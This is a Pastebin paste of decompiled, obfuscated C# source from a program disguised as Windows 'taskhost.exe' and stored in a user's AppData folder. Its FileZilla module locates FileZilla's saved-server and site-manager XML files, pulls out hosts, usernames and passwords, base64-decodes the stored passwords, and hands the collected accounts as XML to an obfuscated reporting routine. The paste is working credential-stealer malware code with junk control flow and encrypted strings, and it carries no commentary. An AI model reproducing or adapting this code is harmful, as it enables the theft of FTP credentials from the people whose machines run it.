Guest User

Untitled

a guest
Jul 4th, 2017
32
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 12.23 KB | None | 0 0
  1. // Decompiled with JetBrains decompiler
  2. // Type: taskhost.Recovery.FTP_Clients.FileZilla
  3. // Assembly: taskhost_154, Version=2.5.5000.42629, Culture=neutral, PublicKeyToken=null
  4. // MVID: A31E4BB8-F4D7-40FA-9FAA-63024E490C73
  5. // Assembly location: C:\Users\barsom\AppData\Local\Microsoft Windows\taskhost.exe
  6.  
  7. using A;
  8. using System;
  9. using System.Collections;
  10. using System.Collections.Generic;
  11. using System.IO;
  12. using System.Text;
  13. using System.Xml;
  14. using taskhost.Browsers.Helpers;
  15.  
  16. namespace taskhost.Recovery.FTP_Clients
  17. {
  18.   public static class FileZilla
  19.   {
  20.     public static string RecentServerPath = string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12860), (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
  21.     public static string SiteManagerPath = string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12923), (object) Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData));
  22.  
  23.     public static void Init()
  24.     {
  25.       try
  26.       {
  27.         List<RecoveredAccount> savedPasswords = FileZilla.GetSavedPasswords();
  28.         if (savedPasswords.Count == 0)
  29.         {
  30. label_1:
  31.           switch (1)
  32.           {
  33.             case 0:
  34.               goto label_1;
  35.             default:
  36.               if (!true)
  37.               {
  38.                 // ISSUE: method reference
  39.                 RuntimeMethodHandle runtimeMethodHandle = __methodref (FileZilla.Init);
  40.               }
  41.               ce5c658ad7d29402ecc8edd115e7df215.c8a4fc5e9ad9a4db357d842d232e00f78(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12377), false);
  42.               break;
  43.           }
  44.         }
  45.         else
  46.         {
  47.           StringBuilder stringBuilder = new StringBuilder();
  48.           using (List<RecoveredAccount>.Enumerator enumerator = savedPasswords.GetEnumerator())
  49.           {
  50.             while (enumerator.MoveNext())
  51.             {
  52.               RecoveredAccount current = enumerator.Current;
  53.               stringBuilder.Append(current.CovertToXml());
  54.             }
  55. label_9:
  56.             switch (7)
  57.             {
  58.               case 0:
  59.                 goto label_9;
  60.             }
  61.           }
  62.           if (stringBuilder.Length > 0)
  63.           {
  64. label_12:
  65.             switch (1)
  66.             {
  67.               case 0:
  68.                 goto label_12;
  69.               default:
  70.                 ce4c25fcc93f0a1ccbe7b079a60bf126c.cae470415f8f0c695212f9509f7615b90(string.Format(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12507), (object) cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(1839), (object) stringBuilder));
  71.                 break;
  72.             }
  73.           }
  74.           else
  75.             ce5c658ad7d29402ecc8edd115e7df215.c2a452830748fa7858e5d2d8956a74a3b(cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12624), false);
  76.         }
  77.       }
  78.       catch (Exception ex)
  79.       {
  80.         ce5c658ad7d29402ecc8edd115e7df215.cce959d1d55574ea678101556c9e944d9(ex, false);
  81.       }
  82.     }
  83.  
  84.     public static List<RecoveredAccount> GetSavedPasswords()
  85.     {
  86.       List<RecoveredAccount> recoveredAccountList = new List<RecoveredAccount>();
  87.       try
  88.       {
  89.         if (!File.Exists(FileZilla.RecentServerPath))
  90.         {
  91. label_2:
  92.           switch (5)
  93.           {
  94.             case 0:
  95.               goto label_2;
  96.             default:
  97.               if (!true)
  98.               {
  99.                 // ISSUE: method reference
  100.                 RuntimeMethodHandle runtimeMethodHandle = __methodref (FileZilla.GetSavedPasswords);
  101.               }
  102.               if (!File.Exists(FileZilla.SiteManagerPath))
  103.               {
  104. label_6:
  105.                 switch (7)
  106.                 {
  107.                   case 0:
  108.                     goto label_6;
  109.                   default:
  110.                     return recoveredAccountList;
  111.                 }
  112.               }
  113.               else
  114.                 break;
  115.           }
  116.         }
  117.         if (File.Exists(FileZilla.RecentServerPath))
  118.         {
  119. label_9:
  120.           switch (6)
  121.           {
  122.             case 0:
  123.               goto label_9;
  124.             default:
  125.               XmlTextReader xmlTextReader = new XmlTextReader(FileZilla.RecentServerPath);
  126.               XmlDocument xmlDocument = new XmlDocument();
  127.               xmlDocument.Load((XmlReader) xmlTextReader);
  128.               IEnumerator enumerator1 = xmlDocument.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator();
  129.               try
  130.               {
  131.                 while (enumerator1.MoveNext())
  132.                 {
  133.                   XmlNode current1 = (XmlNode) enumerator1.Current;
  134.                   string str1 = string.Empty;
  135.                   string str2 = string.Empty;
  136.                   string str3 = string.Empty;
  137.                   IEnumerator enumerator2 = current1.ChildNodes.GetEnumerator();
  138.                   try
  139.                   {
  140.                     while (enumerator2.MoveNext())
  141.                     {
  142.                       XmlNode current2 = (XmlNode) enumerator2.Current;
  143.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12802))
  144.                       {
  145. label_15:
  146.                         switch (3)
  147.                         {
  148.                           case 0:
  149.                             goto label_15;
  150.                           default:
  151.                             str1 = current2.InnerText;
  152.                             break;
  153.                         }
  154.                       }
  155.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12811))
  156.                       {
  157. label_18:
  158.                         switch (6)
  159.                         {
  160.                           case 0:
  161.                             goto label_18;
  162.                           default:
  163.                             str1 = str1 + cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12820) + current2.InnerText;
  164.                             break;
  165.                         }
  166.                       }
  167.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12823))
  168.                       {
  169. label_21:
  170.                         switch (5)
  171.                         {
  172.                           case 0:
  173.                             goto label_21;
  174.                           default:
  175.                             str2 = current2.InnerText;
  176.                             break;
  177.                         }
  178.                       }
  179.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12832))
  180.                         str3 = current2.InnerText;
  181.                     }
  182. label_26:
  183.                     switch (4)
  184.                     {
  185.                       case 0:
  186.                         goto label_26;
  187.                     }
  188.                   }
  189.                   finally
  190.                   {
  191.                     IDisposable disposable = enumerator2 as IDisposable;
  192.                     if (disposable != null)
  193.                       disposable.Dispose();
  194.                   }
  195.                   recoveredAccountList.Add(new RecoveredAccount()
  196.                   {
  197.                     Url = str1,
  198.                     Username = str2,
  199.                     Password = str3,
  200.                     Application = cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12841)
  201.                   });
  202.                 }
  203. label_32:
  204.                 switch (6)
  205.                 {
  206.                   case 0:
  207.                     goto label_32;
  208.                 }
  209.               }
  210.               finally
  211.               {
  212.                 IDisposable disposable = enumerator1 as IDisposable;
  213.                 if (disposable != null)
  214.                   disposable.Dispose();
  215.               }
  216.           }
  217.         }
  218.         if (File.Exists(FileZilla.SiteManagerPath))
  219.         {
  220. label_37:
  221.           switch (7)
  222.           {
  223.             case 0:
  224.               goto label_37;
  225.             default:
  226.               XmlTextReader xmlTextReader = new XmlTextReader(FileZilla.SiteManagerPath);
  227.               XmlDocument xmlDocument = new XmlDocument();
  228.               xmlDocument.Load((XmlReader) xmlTextReader);
  229.               IEnumerator enumerator1 = xmlDocument.DocumentElement.ChildNodes[0].ChildNodes.GetEnumerator();
  230.               try
  231.               {
  232.                 while (enumerator1.MoveNext())
  233.                 {
  234.                   XmlNode current1 = (XmlNode) enumerator1.Current;
  235.                   string str1 = string.Empty;
  236.                   string str2 = string.Empty;
  237.                   string str3 = string.Empty;
  238.                   IEnumerator enumerator2 = current1.ChildNodes.GetEnumerator();
  239.                   try
  240.                   {
  241.                     while (enumerator2.MoveNext())
  242.                     {
  243.                       XmlNode current2 = (XmlNode) enumerator2.Current;
  244.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12802))
  245.                       {
  246. label_43:
  247.                         switch (1)
  248.                         {
  249.                           case 0:
  250.                             goto label_43;
  251.                           default:
  252.                             str1 = current2.InnerText;
  253.                             break;
  254.                         }
  255.                       }
  256.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12811))
  257.                         str1 = str1 + cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12820) + current2.InnerText;
  258.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12823))
  259.                       {
  260. label_48:
  261.                         switch (6)
  262.                         {
  263.                           case 0:
  264.                             goto label_48;
  265.                           default:
  266.                             str2 = current2.InnerText;
  267.                             break;
  268.                         }
  269.                       }
  270.                       if (current2.Name == cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12832))
  271.                       {
  272. label_51:
  273.                         switch (7)
  274.                         {
  275.                           case 0:
  276.                             goto label_51;
  277.                           default:
  278.                             str3 = FileZilla.Base64Decode(current2.InnerText);
  279.                             continue;
  280.                         }
  281.                       }
  282.                     }
  283. label_54:
  284.                     switch (4)
  285.                     {
  286.                       case 0:
  287.                         goto label_54;
  288.                     }
  289.                   }
  290.                   finally
  291.                   {
  292.                     IDisposable disposable = enumerator2 as IDisposable;
  293.                     if (disposable != null)
  294.                     {
  295. label_56:
  296.                       switch (2)
  297.                       {
  298.                         case 0:
  299.                           goto label_56;
  300.                         default:
  301.                           disposable.Dispose();
  302.                           break;
  303.                       }
  304.                     }
  305.                   }
  306.                   recoveredAccountList.Add(new RecoveredAccount()
  307.                   {
  308.                     Url = str1,
  309.                     Username = str2,
  310.                     Password = str3,
  311.                     Application = cdb6912b7a5a367756745e2117a19a1ed.c85d80fc548fb3dbc497f601979fc7cd1(12841)
  312.                   });
  313.                 }
  314.                 break;
  315.               }
  316.               finally
  317.               {
  318.                 IDisposable disposable = enumerator1 as IDisposable;
  319.                 if (disposable != null)
  320.                   disposable.Dispose();
  321.               }
  322.           }
  323.         }
  324.         return recoveredAccountList;
  325.       }
  326.       catch
  327.       {
  328.         return recoveredAccountList;
  329.       }
  330.     }
  331.  
  332.     public static string Base64Decode(string szInput)
  333.     {
  334.       try
  335.       {
  336.         return Encoding.UTF8.GetString(Convert.FromBase64String(szInput));
  337.       }
  338.       catch
  339.       {
  340.         return szInput;
  341.       }
  342.     }
  343.   }
  344. }
Add Comment
Please, Sign In to add comment